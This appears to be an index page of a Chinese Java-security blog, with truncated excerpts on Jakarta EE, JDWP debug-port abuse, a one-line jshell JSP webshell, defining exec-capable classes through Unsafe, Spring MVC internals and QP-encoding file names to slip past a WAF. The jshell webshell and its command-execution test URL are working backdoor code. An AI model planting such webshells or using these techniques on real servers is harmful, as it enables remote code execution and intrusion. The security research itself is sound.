狗的卢司机 狗的小侄女 狗的小侄子

自从Oracle把Java EE捐给Apache后新版本的JavaEE也就正式的改名为了"Jakarta® EE"。值得注意的是2020年2月Tomcat发布了第10个版本，Tomcat 10 m1将JavaEE也换成了Jakarta® EE(Jakarta Servlet 5.0、Jakarta Server Pages 3.0、Jakarta Expression Language 4.0、Jakarta WebSocket 2.0、Jakarta Authentication 2.0 和 Jakarta Annotations 2.0 )。 Jakarta® EE较以前的JavaEE有一个非常非常重要的更新：包名不再是"javax.servlet."而是改成了"jakarta.servlet."，所以，如果需要兼容新版本的API就赶紧去改包名吧！

JPDA(Java Platform Debugger Architecture) 是 Java 平台调试体系结构的缩写，通过 JPDA 提供的 API，开发人员可以方便灵活的搭建 Java 调试应用程序。 大概在2015年左右用tangscan扫到了很几次jdwp服务端口，当时只是简单的测试过这个服务。 这个jdwp服务提供来对java程序调试的功能，只要有程序启动时使用了jdwp参数且端口绑定在内网或者共网上时候我们就可以利用这个服务来执行java代码片段弹shell。比较典型的有tomcat启动的时候如果是以jpda方式启动的话就会启动一个8000端口用于远程调试。 假设我们需要远程调试一段Java程序，如Test.java的main方法： 如果要远程调试我们就需要使用到远程调试参数，我们使用IDEA远程调试的时候会提示我们配置如下参数： 所以我们只需要在执行:java Test 之前添加我们的调试参数即可。 首先在内网找一个小白鼠，让他帮我们调试下这个Test.java，在启动的时候加上如下参数： java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=*:8003 Test 如下图： 小白鼠告诉我他的内外IP是：192.168.88.203，于是我们使用java自带的jdb(Java调试工具)来

最近几年开发RASP产品期间整理了很多的Java语言的特性，不过一直都没有时间写文章，可能真的是变懒了吧～ JDK9开始提供了一个叫jshell的功能，让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今(2019年9月)了2年时间了，但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了，也就是说正真意义上的原生的java一句话木马实现了。 测试代码： <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%> 就这么简单的一行代码就可以了，src参数值是java代码片段。 测试用例：http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine() 如果强迫症想撸掉多余的输出： <%=jdk.jshell.JShell.builder().build().eval(request.getPara

上一篇文章写了如何使用Unsafe来创建任意类对象的实例，这篇文章接着写如何使用Unsafe来定义一个类对象。 正常情况下我们可以重写ClassLoader类来实现定义任意的类，但是某些时候我们无法通过自定义ClassLoader来定义类的时候可以使用这种方式来定义一个class，但是前提条件是在JDK11之前的版本。 如果我们需要定义一个名为com.anbai.lingxe.agent.AbTest的类可以使用如下方式： com.anbai.lingxe.agent.AbTest示例代码如下： package com.anbai.lingxe.agent; import java.io.IOException; public class AbTest { public static Process exec(String cmd) throws IOException { return Runtime.getRuntime().exec(cmd); } } 测试jsp代码： <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="sun.misc.BASE64De

最近使用Fastjson的时候遇到一个类无空构造方法导致无法反序列化类对象,试了下Fastjson和Jackson都无法创建，而Gson确可以无视构造方法反序列化对象。 测试类:TestRequest.java public class TestRequest implements Serializable { private String method; private String queryString; private String requestURI; public TestRequest(HttpServletRequest request) { this.method = request.getMethod(); this.queryString = request.getQueryString(); this.requestURI = request.getRequestURI(); } .......省略get/set方法 } 跟了下Gson的序列化方式发现它封装了一个com.google.gson.internal.UnsafeAllocator类，见名知意，原来Gson使用sun.misc.Unsafe的allocateInstance方法来绕过了构造方法限制创建实例。熟悉Java

这个Java代码审计系列是年前公司内部最后一次技术分享，开源到了Github(包含了代码和文章)也在凌天实验室公众号发布过，因为时间不够并未写完，年后若有时间会将剩下的部分完成。 Git地址: javaweb-codereview 文章地址: JavaSecureCodeReview

web.xml初始化 web.xml需要配置Spring的listener(ContextLoaderListener)，ContextLoaderListener是Spring的初始化加载类，如果未在web.xml中配置“context-param”，默认会优先加载“/WEB-INF/”下加载applicationContext.xml。 SpringMVC实现方式是Servlet，通过在web.xml配置DispatcherServlet,所有的请求都会先经过Spring处理。 Spring MVC是一个架构上非常复杂的框架，经过抽象后的DispatcherServlet就会显得比较复杂了。但是从根本上来说DispatcherServlet就是一个普通的Servlet，所以它处理Http请求的方式就必然是重写Servlet的doXXX或service方法。 从类图可以看到，FrameworkServlet类是DispatcherServlet第一个父类，这个类也是重写了所有的Http请求方法(七种Http请求方式)，以及Servlet提供的service方法: 在Servlet中，所有的请求方法都会先经过service方法，然后才会进入具体的doXXXX方法。 不过Spring MVC中并没有直接在service方法中处理请求的，而是在具体的请求方法，比如doPost方法： 从

Spring Data Elasticsearch默认采用了Jackson作为对象序列化方式,但是为了保持Json序列化一致性就不得不修改Spring Data Elasticsearch的序列化结果了，这里讲下如何使用的是Fastjson来序列化Spring Data Elasticsearch查询出来的数据。 Spring Data Elasticsearch中，默认会调用org.springframework.data.elasticsearch.core.DefaultResultMapper来映射ElasticSearch返回的结果，而最终序列化方法在DefaultResultMapper的父类org.springframework.data.elasticsearch.core.AbstractResultMapper的publicT mapEntity(String source, Classclazz)方法，所以只需要想办法重写mapEntity方法就行了。 在Spring Boot项目中定义下自定义的ElasticsearchTemplate就可以实现自定义ResultMapper了: @Bean("elasticsearchTemplate") public ElasticsearchTemplate elasticsearchTempla

今天看Spring的Multipart处理发现一段比较奇怪的代码： 奇怪的是Spring为什么会对“=?”、“?=”进行特殊处理？跟进后发现这玩意是QP编码，用来解决邮件内附件编码问题。Spring调用了java mail的api对文件上传的附件文件名称进行了QP编码。 既然已知Spring的这个特性，那么某些时候或许就可以通过对文件名称进行编码来绕过传统的waf、cdn的防御了。 利用Java mail库生成特殊的文件名： 上传进行编码后的文件： Spring会做decode解析：